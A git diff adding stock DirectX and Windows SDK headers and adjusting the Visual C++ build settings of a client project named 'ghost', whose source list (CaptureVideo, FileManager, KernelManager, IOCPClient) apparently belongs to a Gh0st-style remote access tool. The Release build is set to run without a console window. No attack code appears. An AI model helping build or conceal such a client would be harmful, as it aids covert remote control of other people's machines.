#define D3DDEVCAPS_DRAWPRIMTLVERTEX 0x00000400L /* Device can draw TLVERTEX primitives */
#define D3DDEVCAPS_CANRENDERAFTERFLIP 0x00000800L /* Device can render without waiting for flip to complete */
#define D3DDEVCAPS_TEXTURENONLOCALVIDMEM 0x00001000L /* Device can texture from nonlocal video memory */
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
#define D3DDEVCAPS_DRAWPRIMITIVES2 0x00002000L /* Device can support DrawPrimitives2 */
#define D3DDEVCAPS_SEPARATETEXTUREMEMORIES 0x00004000L /* Device is texturing from separate memory pools */
#define D3DDEVCAPS_DRAWPRIMITIVES2EX 0x00008000L /* Device can support Extended DrawPrimitives2 i.e. DX7 compliant driver*/
#endif /* DIRECT3D_VERSION >= 0x0600 */
#if(DIRECT3D_VERSION >= 0x0700)
#define D3DDEVCAPS_HWTRANSFORMANDLIGHT 0x00010000L /* Device can support transformation and lighting in hardware and DRAWPRIMITIVES2EX must be also */
#define D3DDEVCAPS_CANBLTSYSTONONLOCAL 0x00020000L /* Device supports a Tex Blt from system memory to non-local vidmem */
#define D3DDEVCAPS_HWRASTERIZATION 0x00080000L /* Device has HW acceleration for rasterization */
/*
* These are the flags in the D3DDEVICEDESC7.dwVertexProcessingCaps field
*/
/* device can do texgen */
#define D3DVTXPCAPS_TEXGEN 0x00000001L
/* device can do IDirect3DDevice7 colormaterialsource ops */
#define D3DVTXPCAPS_MATERIALSOURCE7 0x00000002L
/* device can do vertex fog */
#define D3DVTXPCAPS_VERTEXFOG 0x00000004L
/* device can do directional lights */
#define D3DVTXPCAPS_DIRECTIONALLIGHTS 0x00000008L
/* device can do positional lights (includes point and spot) */
#define D3DVTXPCAPS_POSITIONALLIGHTS 0x00000010L
/* device can do local viewer */
#define D3DVTXPCAPS_LOCALVIEWER 0x00000020L
#endif /* DIRECT3D_VERSION >= 0x0700 */
#define D3DFDS_COLORMODEL 0x00000001L /* Match color model */
#define D3DFDS_GUID 0x00000002L /* Match guid */
#define D3DFDS_HARDWARE 0x00000004L /* Match hardware/software */
#define D3DFDS_TRIANGLES 0x00000008L /* Match in triCaps */
#define D3DFDS_LINES 0x00000010L /* Match in lineCaps */
#define D3DFDS_MISCCAPS 0x00000020L /* Match primCaps.dwMiscCaps */
#define D3DFDS_RASTERCAPS 0x00000040L /* Match primCaps.dwRasterCaps */
#define D3DFDS_ZCMPCAPS 0x00000080L /* Match primCaps.dwZCmpCaps */
#define D3DFDS_ALPHACMPCAPS 0x00000100L /* Match primCaps.dwAlphaCmpCaps */
#define D3DFDS_SRCBLENDCAPS 0x00000200L /* Match primCaps.dwSourceBlendCaps */
#define D3DFDS_DSTBLENDCAPS 0x00000400L /* Match primCaps.dwDestBlendCaps */
#define D3DFDS_SHADECAPS 0x00000800L /* Match primCaps.dwShadeCaps */
#define D3DFDS_TEXTURECAPS 0x00001000L /* Match primCaps.dwTextureCaps */
#define D3DFDS_TEXTUREFILTERCAPS 0x00002000L /* Match primCaps.dwTextureFilterCaps */
#define D3DFDS_TEXTUREBLENDCAPS 0x00004000L /* Match primCaps.dwTextureBlendCaps */
#define D3DFDS_TEXTUREADDRESSCAPS 0x00008000L /* Match primCaps.dwTextureBlendCaps */
/*
* FindDevice arguments
*/
typedef struct _D3DFINDDEVICESEARCH {
DWORD dwSize;
DWORD dwFlags;
BOOL bHardware;
D3DCOLORMODEL dcmColorModel;
GUID guid;
DWORD dwCaps;
D3DPRIMCAPS dpcPrimCaps;
} D3DFINDDEVICESEARCH, *LPD3DFINDDEVICESEARCH;
typedef struct _D3DFINDDEVICERESULT {
DWORD dwSize;
GUID guid; /* guid which matched */
D3DDEVICEDESC ddHwDesc; /* hardware D3DDEVICEDESC */
D3DDEVICEDESC ddSwDesc; /* software D3DDEVICEDESC */
} D3DFINDDEVICERESULT, *LPD3DFINDDEVICERESULT;
/*
* Description of execute buffer.
*/
typedef struct _D3DExecuteBufferDesc {
DWORD dwSize; /* size of this structure */
DWORD dwFlags; /* flags indicating which fields are valid */
DWORD dwCaps; /* capabilities of execute buffer */
DWORD dwBufferSize; /* size of execute buffer data */
LPVOID lpData; /* pointer to actual data */
} D3DEXECUTEBUFFERDESC, *LPD3DEXECUTEBUFFERDESC;
/* D3DEXECUTEBUFFER dwFlags indicating valid fields */
#define D3DDEB_BUFSIZE 0x00000001l /* buffer size valid */
#define D3DDEB_CAPS 0x00000002l /* caps valid */
#define D3DDEB_LPDATA 0x00000004l /* lpData valid */
/* D3DEXECUTEBUFFER dwCaps */
#define D3DDEBCAPS_SYSTEMMEMORY 0x00000001l /* buffer in system memory */
#define D3DDEBCAPS_VIDEOMEMORY 0x00000002l /* buffer in device memory */
#define D3DDEBCAPS_MEM (D3DDEBCAPS_SYSTEMMEMORY|D3DDEBCAPS_VIDEOMEMORY)
#if(DIRECT3D_VERSION < 0x0800)
#if(DIRECT3D_VERSION >= 0x0700)
typedef struct _D3DDEVINFO_TEXTUREMANAGER {
BOOL bThrashing; /* indicates if thrashing */
DWORD dwApproxBytesDownloaded; /* Approximate number of bytes downloaded by texture manager */
DWORD dwNumEvicts; /* number of textures evicted */
DWORD dwNumVidCreates; /* number of textures created in video memory */
DWORD dwNumTexturesUsed; /* number of textures used */
DWORD dwNumUsedTexInVid; /* number of used textures present in video memory */
DWORD dwWorkingSet; /* number of textures in video memory */
DWORD dwWorkingSetBytes; /* number of bytes in video memory */
DWORD dwTotalManaged; /* total number of managed textures */
DWORD dwTotalBytes; /* total number of bytes of managed textures */
DWORD dwLastPri; /* priority of last texture evicted */
} D3DDEVINFO_TEXTUREMANAGER, *LPD3DDEVINFO_TEXTUREMANAGER;
typedef struct _D3DDEVINFO_TEXTURING {
DWORD dwNumLoads; /* counts Load() API calls */
DWORD dwApproxBytesLoaded; /* Approximate number bytes loaded via Load() */
DWORD dwNumPreLoads; /* counts PreLoad() API calls */
DWORD dwNumSet; /* counts SetTexture() API calls */
DWORD dwNumCreates; /* counts texture creates */
DWORD dwNumDestroys; /* counts texture destroys */
DWORD dwNumSetPriorities; /* counts SetPriority() API calls */
DWORD dwNumSetLODs; /* counts SetLOD() API calls */
DWORD dwNumLocks; /* counts number of texture locks */
DWORD dwNumGetDCs; /* counts number of GetDCs to textures */
} D3DDEVINFO_TEXTURING, *LPD3DDEVINFO_TEXTURING;
#endif /* DIRECT3D_VERSION >= 0x0700 */
#endif //(DIRECT3D_VERSION < 0x0800)
#pragma pack()
#endif /* _D3DCAPS_H_ */
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion

2133
client/d3d/d3dtypes.h Normal file

File diff suppressed because it is too large Load Diff

251
client/d3d/winapifamily.h Normal file
View File

@@ -0,0 +1,251 @@
/*
Copyright (c) Microsoft Corporation. All rights reserved.
Module Name:
winapifamily.h
Abstract:
Master include file for API family partitioning.
*/
#ifndef _INC_WINAPIFAMILY
#define _INC_WINAPIFAMILY
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(push)
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
#endif
#pragma once
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#include <winpackagefamily.h>
/*
* When compiling C and C++ code using SDK header files, the development
* environment can specify a target platform by #define-ing the
* pre-processor symbol WINAPI_FAMILY to one of the following values.
* Each FAMILY value denotes an application family for which a different
* subset of the total set of header-file-defined APIs are available.
* Setting the WINAPI_FAMILY value will effectively hide from the
* editing and compilation environments the existence of APIs that
* are not applicable to the family of applications targeting a
* specific platform.
*/
/* In Windows 10, WINAPI_PARTITIONs will be used to add additional
* device specific APIs to a particular WINAPI_FAMILY.
* For example, when writing Windows Universal apps, specifying
* WINAPI_FAMILY_APP will hide phone APIs from compilation.
* However, specifying WINAPI_PARTITION_PHONE_APP=1 additionally, will
* unhide any API hidden behind the partition, to the compiler.
* The following partitions are currently defined:
* WINAPI_PARTITION_DESKTOP // usable for Desktop Win32 apps (but not store apps)
* WINAPI_PARTITION_APP // usable for Windows Universal store apps
* WINAPI_PARTITION_PC_APP // specific to Desktop-only store apps
* WINAPI_PARTITION_PHONE_APP // specific to Phone-only store apps
* WINAPI_PARTITION_SYSTEM // specific to System applications
* WINAPI_PARTITION_GAMES // specific to games and apps
* The following partitions are indirect partitions and defined in
* winpackagefamily.h. These partitions are related to package based
* partitions. For example, specifying WINAPI_PARTITION_SERVER=1 will light up
* any API hidden behind the package based partitions that are bound to
* WINAPI_PARTITION_SERVER, to the compiler.
* WINAPI_PARTITION_SERVER // specific to Server applications
*/
/*
* The WINAPI_FAMILY values of 0 and 1 are reserved to ensure that
* an error will occur if WINAPI_FAMILY is set to any
* WINAPI_PARTITION value (which must be 0 or 1, see below).
*/
#define WINAPI_FAMILY_PC_APP 2 /* Windows Store Applications */
#define WINAPI_FAMILY_PHONE_APP 3 /* Windows Phone Applications */
#define WINAPI_FAMILY_SYSTEM 4 /* Windows Drivers and Tools */
#define WINAPI_FAMILY_SERVER 5 /* Windows Server Applications */
#define WINAPI_FAMILY_GAMES 6 /* Windows Games and Applications */
#define WINAPI_FAMILY_DESKTOP_APP 100 /* Windows Desktop Applications */
/* The value of WINAPI_FAMILY_DESKTOP_APP may change in future SDKs. */
/* Additional WINAPI_FAMILY values may be defined in future SDKs. */
/*
* For compatibility with Windows 8 header files, the following
* synonym for WINAPI_FAMILY_PC_APP is temporarily #define'd.
* Use of this symbol should be considered deprecated.
*/
#define WINAPI_FAMILY_APP WINAPI_FAMILY_PC_APP
/*
* If no WINAPI_FAMILY value is specified, then all APIs available to
* Windows desktop applications are exposed.
*/
#ifndef WINAPI_FAMILY
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
#endif
/*
* API PARTITONs are part of an indirection mechanism for mapping between
* individual APIs and the FAMILYs to which they apply.
* Each PARTITION is a category or subset of named APIs. PARTITIONs
* are permitted to have overlapping membership -- some single API
* might be part of more than one PARTITION. PARTITIONS are each #define-ed
* to be either 1 or 0 or depending on the platform at which the app is targeted.
*/
/*
* The mapping between families and partitions is summarized here.
* An X indicates that the given partition is active for the given
* platform/family.
*
* +---------------------------+
* | *Partition* |
* +---+---+---+---+---+---+---+
* | | | | | | | |
* | | | | | | | |
* | | | | P | | | |
* | | | | H | | | |
* | D | | | O | | | |
* | E | | P | N | S | S | |
* | S | | C | E | Y | E | G |
* | K | | _ | _ | S | R | A |
* | T | A | A | A | T | V | M |
* +-------------------------+----+ O | P | P | P | E | E | E |
* | *Platform/Family* \| P | P | P | P | M | R | S |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_DESKTOP_APP | X | X | X | | | | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_PC_APP | | X | X | | | | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_PHONE_APP | | X | | X | | | |
* +----------------------------- +---+---+---+---+---+---+---+
* | WINAPI_FAMILY_SYSTEM | | | | | X | | |
* +----------------------------- +---+---+---+---+---+---+---+
* | WINAPI_FAMILY_SERVER | | | | | X | X | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_GAMES | | | | | | | X |
* +------------------------------+---+---+---+---+---+---+---+
*
* The table above is encoded in the following expressions,
* each of which evaluates to 1 or 0.
*
* Whenever a new family is added, all of these expressions
* need to be reconsidered.
*/
#if WINAPI_FAMILY != WINAPI_FAMILY_DESKTOP_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_PC_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_PHONE_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_SYSTEM && \
WINAPI_FAMILY != WINAPI_FAMILY_GAMES && \
WINAPI_FAMILY != WINAPI_FAMILY_SERVER
#error Unknown WINAPI_FAMILY value. Was it defined in terms of a WINAPI_PARTITION_* value?
#endif
#ifndef WINAPI_PARTITION_DESKTOP
#define WINAPI_PARTITION_DESKTOP (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
#endif
#ifndef WINAPI_PARTITION_APP
#define WINAPI_PARTITION_APP \
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
#endif
#ifndef WINAPI_PARTITION_PC_APP
#define WINAPI_PARTITION_PC_APP \
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP)
#endif
#ifndef WINAPI_PARTITION_PHONE_APP
#define WINAPI_PARTITION_PHONE_APP (WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
#endif
#ifndef WINAPI_PARTITION_GAMES
#define WINAPI_PARTITION_GAMES \
(WINAPI_FAMILY == WINAPI_FAMILY_GAMES || \
WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
#endif
/*
* SYSTEM is the only partition defined here.
* All other System based editions are defined as packages
* on top of the System partition.
* See winpackagefamily.h for packages level partitions
*/
#ifndef WINAPI_PARTITION_SYSTEM
#define WINAPI_PARTITION_SYSTEM \
(WINAPI_FAMILY == WINAPI_FAMILY_SYSTEM || \
WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
#endif
/*
* For compatibility with Windows Phone 8 header files, the following
* synonym for WINAPI_PARTITION_PHONE_APP is temporarily #define'd.
* Use of this symbol should be regarded as deprecated.
*/
#define WINAPI_PARTITION_PHONE WINAPI_PARTITION_PHONE_APP
/*
* Header files use the WINAPI_FAMILY_PARTITION macro to assign one or
* more declarations to some group of partitions. The macro chooses
* whether the preprocessor will emit or omit a sequence of declarations
* bracketed by an #if/#endif pair. All header file references to the
* WINAPI_PARTITION_* values should be in the form of occurrences of
* WINAPI_FAMILY_PARTITION(...).
*
* For example, the following usage of WINAPI_FAMILY_PARTITION identifies
* a sequence of declarations that are part of both the Windows Desktop
* Partition and the Windows-Phone-Specific Store Partition:
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
* ...
* #endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
*
* The comment on the closing #endif allow tools as well as people to find the
* matching #ifdef properly.
*
* Usages of WINAPI_FAMILY_PARTITION may be combined, when the partitition definitions are
* related. In particular one might use declarations like
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
*
* or
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_PHONE_APP)
*
* Direct references to WINAPI_PARTITION_ values (eg #if !WINAPI_FAMILY_PARTITION_...)
* should not be used.
*/
#define WINAPI_FAMILY_PARTITION(Partitions) (Partitions)
/*
* Macro used to #define or typedef a symbol used for selective deprecation
* of individual methods of a COM interfaces that are otherwise available
* for a given set of partitions.
*/
#define _WINAPI_DEPRECATED_DECLARATION __declspec(deprecated("This API cannot be used in the context of the caller's application type."))
/*
* For compatibility with Windows 8 header files, the following
* symbol is temporarily conditionally #define'd. Additional symbols
* like this should be not defined in winapifamily.h, but rather should be
* introduced locally to the header files of the component that needs them.
*/
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
# define APP_DEPRECATED_HRESULT HRESULT _WINAPI_DEPRECATED_DECLARATION
#endif // WINAPIFAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif
#endif
#endif /* !_INC_WINAPIFAMILY */

View File

@@ -0,0 +1,91 @@
/*
Copyright (c) Microsoft Corporation. All rights reserved.
Module Name:
winpackagefamily.h
Abstract:
API family partitioning based on packages.
*/
#ifndef _INC_WINPACKAGEFAMILY
#define _INC_WINPACKAGEFAMILY
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(push)
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
#endif
#pragma once
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#ifndef WINAPI_PARTITION_SERVER
#define WINAPI_PARTITION_SERVER (WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
#endif
/*
* PARTITIONS based on packages are each #undef'ed below, and then will be #define-ed
* to be either 1 or 0 or depending on the active WINAPI_FAMILY.
*/
#undef WINAPI_PARTITION_PKG_WINTRUST
#undef WINAPI_PARTITION_PKG_WEBSERVICES
#undef WINAPI_PARTITION_PKG_EVENTLOGSERVICE
#undef WINAPI_PARTITION_PKG_VHD
#undef WINAPI_PARTITION_PKG_PERFCOUNTER
#undef WINAPI_PARTITION_PKG_SECURESTARTUP
#undef WINAPI_PARTITION_PKG_REMOTEFS
#undef WINAPI_PARTITION_PKG_BOOTABLESKU
#undef WINAPI_PARTITION_PKG_CMDTOOLS
#undef WINAPI_PARTITION_PKG_DISM
#undef WINAPI_PARTITION_PKG_CORESETUP
#undef WINAPI_PARTITION_PKG_APPRUNTIME
#undef WINAPI_PARTITION_PKG_ESENT
#undef WINAPI_PARTITION_PKG_WINMGMT
#undef WINAPI_PARTITION_PKG_WNV
#undef WINAPI_PARTITION_PKG_CLUSTER
#undef WINAPI_PARTITION_PKG_VSS
#undef WINAPI_PARTITION_PKG_TRAFFIC
#undef WINAPI_PARTITION_PKG_ISCSI
#undef WINAPI_PARTITION_PKG_STORAGE
#undef WINAPI_PARTITION_PKG_MPSSVC
#undef WINAPI_PARTITION_PKG_APPXDEPLOYMENT
#undef WINAPI_PARTITION_PKG_WER
/*
* PARTITIONS for feature packages. Each package might be active for one or more editions
*/
#define WINAPI_PARTITION_PKG_WINTRUST (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WEBSERVICES (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_EVENTLOGSERVICE (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_VHD (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_PERFCOUNTER (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_SECURESTARTUP (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_REMOTEFS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_BOOTABLESKU (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CMDTOOLS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_DISM (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CORESETUP (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_APPRUNTIME (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_ESENT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WINMGMT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WNV (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CLUSTER (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_VSS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_TRAFFIC (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_ISCSI (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_STORAGE (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_MPSSVC (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_APPXDEPLOYMENT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WER (WINAPI_PARTITION_SERVER == 1)
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif
#endif
#endif /* !_INC_WINPACKAGEFAMILY */

View File

@@ -1655,7 +1655,7 @@ public:
BYTE Green; BYTE Green;
BYTE Red; BYTE Red;
BYTE Alpha; BYTE Alpha;
DXBASESAMPLE() {} DXBASESAMPLE():Blue(0), Green(0), Red(0), Alpha(0) {}
DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) : DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) :
Alpha(alpha), Alpha(alpha),
Red(red), Red(red),

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations"> <ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32"> <ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration> <Configuration>Debug</Configuration>
@@ -14,19 +14,20 @@
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid> <ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace> <RootNamespace>ClientDll</RootNamespace>
<ProjectName>ghost</ProjectName> <ProjectName>ghost</ProjectName>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType> <ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries> <UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset> <PlatformToolset>v110_xp</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc> <UseOfMfc>false</UseOfMfc>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType> <ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries> <UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset> <PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization> <WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
</PropertyGroup> </PropertyGroup>
@@ -42,15 +43,19 @@
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IntDir>$(Configuration)\ghost</IntDir> <IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IntDir>$(Configuration)\ghost</IntDir> <IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
@@ -60,6 +65,9 @@
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -69,8 +77,8 @@
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile> </ClCompile>
<Link> <Link>
@@ -79,6 +87,8 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions> <AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
@@ -88,7 +98,6 @@
<ClCompile Include="CaptureVideo.cpp" /> <ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="CursorInfor.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" /> <ClCompile Include="KernelManager.cpp" />
@@ -111,7 +120,7 @@
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="CursorInfor.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" /> <ClInclude Include="KernelManager.h" />
@@ -141,6 +150,10 @@
<ItemGroup> <ItemGroup>
<Media Include="Res\msg.wav" /> <Media Include="Res\msg.wav" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
</ImportGroup> </ImportGroup>

View File

@@ -33,9 +33,6 @@
<ClCompile Include="Common.cpp"> <ClCompile Include="Common.cpp">
